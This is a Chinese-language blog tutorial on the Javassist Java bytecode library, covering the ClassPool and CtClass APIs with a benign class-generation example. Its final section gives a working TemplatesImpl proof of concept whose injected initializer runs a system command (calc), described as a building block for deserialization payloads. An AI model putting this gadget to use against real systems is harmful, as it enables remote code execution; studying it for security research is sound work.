Javassist 字节码工具使用
2024-09-13 09:14:17 # javasec # basic

介绍

javassit是一个可以操作字节码class文件的库,他可以对以及编译好的Class对象添加或者修改类方法或熟悉,也可以直接生成一个新的Class类对象,这个库的操作方法类似于反射,所以学起来也比较简单。

Javassist是一个开源的分析、编辑和创建Java字节码的类库;相比ASM,Javassist提供了更加简单便捷的API,使用Javassist我们可以像写Java代码一样直接插入Java代码片段,让我们不再需要关注Java底层的字节码的和栈操作,仅需要学会如何使用Javassist的API即可实现字节码编辑。

API简介

ClassPool

首先这个ClassPool是这个javassit库的核心对象,你可以通过这个ClassPool与java字节码进行交互,允许你动态加载已经编译好的Class对象进行反编译,让你可以查看或者修改这个Class对象,另外你还可以通过makeClass创建新的类对象,并通过writeFile方法对生成的类对象进行持久化保存。除此以外他还担任管理者的操作,他会管理所以通过他生成或者加载的类对象,并且提供detach方法帮助你在不需要某个管理的对象时主动与其分离,从而释放资源。

总而言之,ClassPool对象可以理解为一个入口类,通过他完成对象创建修改操作;一个对象池,管理存储生成或修改的Class定义(即CtClass)。

getDefault()

1
ClassPool pool = ClassPool.getDefault();

获取默认的ClassPool对象,其实就是使用JVM默认的Classpath,而这个Classpath就是用来在调用get请求时用来搜索的路径,如果存在其他Classpath的情况下,比如tomcat这种需要自己制定库路径的就可以通过pool.insertClassPath(new ClassClassPath());来添加搜索路径

1
pool.insertClassPath(new ClassClassPath(<Class>));

get()

用来搜索ClassPool存储的class对象或者Classpath上的Class,这里可以调试看看

1
pool.get("java.lang.String")

在这里通过系统的Classpath路径找到了String的Class文件位置

接着我们调试一个pool已有并管理了的CtClass

可以看到这里直接通过Pool.classes获取了

总之CtClass默认就只会存储九大基本数据结构不包括String类型,然后后面再使用过程中会不断寻找然后加载进classes属性里面进行管理

makeClass()

1
CtClass ctClass = pool.makeClass("Javasist.person");

直接生成一个CtClass对象,而这个CtClass可以理解为Class对象的拓展,提供了跟多的接口用来操控Class对象,这一行代码默认生成的Class字节码如下

然后我们可以通过CtClass的各种接口来对该Class进行补充修改,并且ClassPool通过get方法获取到的就是CtClass对象

CtClass

Class的加强版,重点记一下他的常用接口

setModifiers

ctClass.setModifiers(Modifier.PRIVATE);

修改类属性

给类添加方法字段构造器以及继承接口等,相反也有各种getter

这些就是设置类的各种属性,第一个以及讲了,还有一个setSuperClass是设置父类的,也就是继承某个CtClass

1
2
ctClass.toBytecode();
ctClass.writeFile();

然后就是ctClass保存方式,一个保存字节码一个保存成文件

defrost 方法

defrost方法用于“解冻”一个CtClass对象。在Javassist中,当你从ClassPool获取一个CtClass对象时,它可能是“冻结”状态,这意味着你不能修改这个类的定义。冻结的CtClass对象代表了一个已经加载的、存在于JVM中的类,对其进行修改可能会导致不可预测的行为。

使用defrost方法可以将CtClass对象转换为可修改的状态,这样你就可以添加新的方法、字段或者修改现有的类定义。defrost方法会创建一个新的CtClass对象,它是原始类的副本,但不受原始类的限制,可以进行修改。

detach 方法

detach方法用于从ClassPool中移除一个CtClass对象,释放与该对象相关联的资源。当你完成了对类的修改,并将其写入文件系统后,通常你会调用detach方法来清理ClassPool中的这个类的定义,这样可以避免内存泄漏。

调用detach方法后,CtClass对象将不再与ClassPool关联,你不能再对其进行修改。如果你尝试在已经分离的CtClass对象上调用方法,将会抛出异常。

toClass 方法

将CtClass对象转换为java.lang.Class对象,这样就可以使用Java反射API来实例化和操作这个类

CtField

  • getName(): 获取字段的名称。
  • getType(): 获取字段的类型。
  • getDeclaringClass(): 获取声明该字段的类。
  • setModifiers(): 设置字段的修饰符(如publicprivate等)。
  • getInitializer(): 获取字段的初始值或表达式。
  • setInitializer(): 设置字段的初始值或表达式。
  • addField(): 在CtClass中添加一个新的CtField实例。

CtMethod

  • getName(): 获取方法的名称。
  • getReturnType(): 获取方法的返回类型。
  • getParameterTypes(): 获取方法的参数类型数组。
  • getDeclaringClass(): 获取声明该方法的类。
  • setModifiers(): 设置方法的修饰符。
  • getBody(): 获取方法的实现代码。
  • setBody(): 设置或替换方法的实现代码。
  • addMethod(): 在CtClass中添加一个新的CtMethod实例。
  • CtNewMethod: 一个帮助类,用于创建和添加新方法,包括getter、setter和构造函数等。

CtConstructor

  • getParameterTypes(): 获取构造函数的参数类型数组。
  • getDeclaringClass(): 获取声明该构造函数的类。
  • setModifiers(): 设置构造函数的修饰符。
  • setBody(): 设置构造函数的实现代码,用于定义构造逻辑。
  • addConstructor(): 在CtClass中添加一个新的CtConstructor实例。
  • CtClass[]: 表示构造函数参数的CtClass数组。

setbody

代码编写

生成新对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package Javasist;

import javassist.*;

public class newClass {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Javasist.person");
CtField name = new CtField(pool.get("java.lang.String"),"name",ctClass);
name.setModifiers(Modifier.PRIVATE);
ctClass.addField(name,CtField.Initializer.constant("pysnow"));

ctClass.addMethod(CtNewMethod.getter("getName",name));
ctClass.addMethod(CtNewMethod.setter("setName",name));

CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},ctClass);
ctConstructor.setBody("{ name=\"pysnow1\";}");
ctClass.addConstructor(ctConstructor);

CtConstructor ctConstructor1 = new CtConstructor(new CtClass[]{pool.get("java.lang.String")},ctClass);
ctConstructor1.setBody("{ $0.name = $1;}");

CtMethod echoName = new CtMethod(CtClass.voidType,"echoName",new CtClass[]{},ctClass);
echoName.setModifiers(Modifier.PUBLIC);
echoName.setBody("{System.out.println($0.name);}");
ctClass.addMethod(echoName);

ctClass.writeFile();
ctClass.detach();
}
}

生成恶意对象

写个templateImpl的恶意字节码,这里建议不参照demo自己按照api来写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package Javasist;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;

public class evil {
public static void main(String[] args) throws Exception {


TemplatesImpl template = new TemplatesImpl();
setField(template,"_name","pysnow");
setField(template,"_bytecodes",new byte[][] {getTemplateCoed()});
setField(template,"_tfactory",new TransformerFactoryImpl());
template.getOutputProperties();


}
public static byte[] getTemplateCoed() throws Exception {
ClassPool cp = ClassPool.getDefault();
CtClass evil = cp.makeClass("Javasist.evil");
evil.setSuperclass(cp.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor initializer = evil.makeClassInitializer();
initializer.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] evilBytecode = evil.toBytecode();
return evilBytecode;
}
public static void setField(Object object,String name,Object value) throws Exception {
Field field= object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object,value);
}
}

可以看到通过javassit生成的恶意字节码不需要基础transform方法,这样就可以缩短payload的长度,后面ROME反序列化那里能够用到,这里的无参构造器是默认生成的

在 Java 中,如果一个类没有显式定义任何构造函数,编译器会自动添加一个默认的无参构造函数。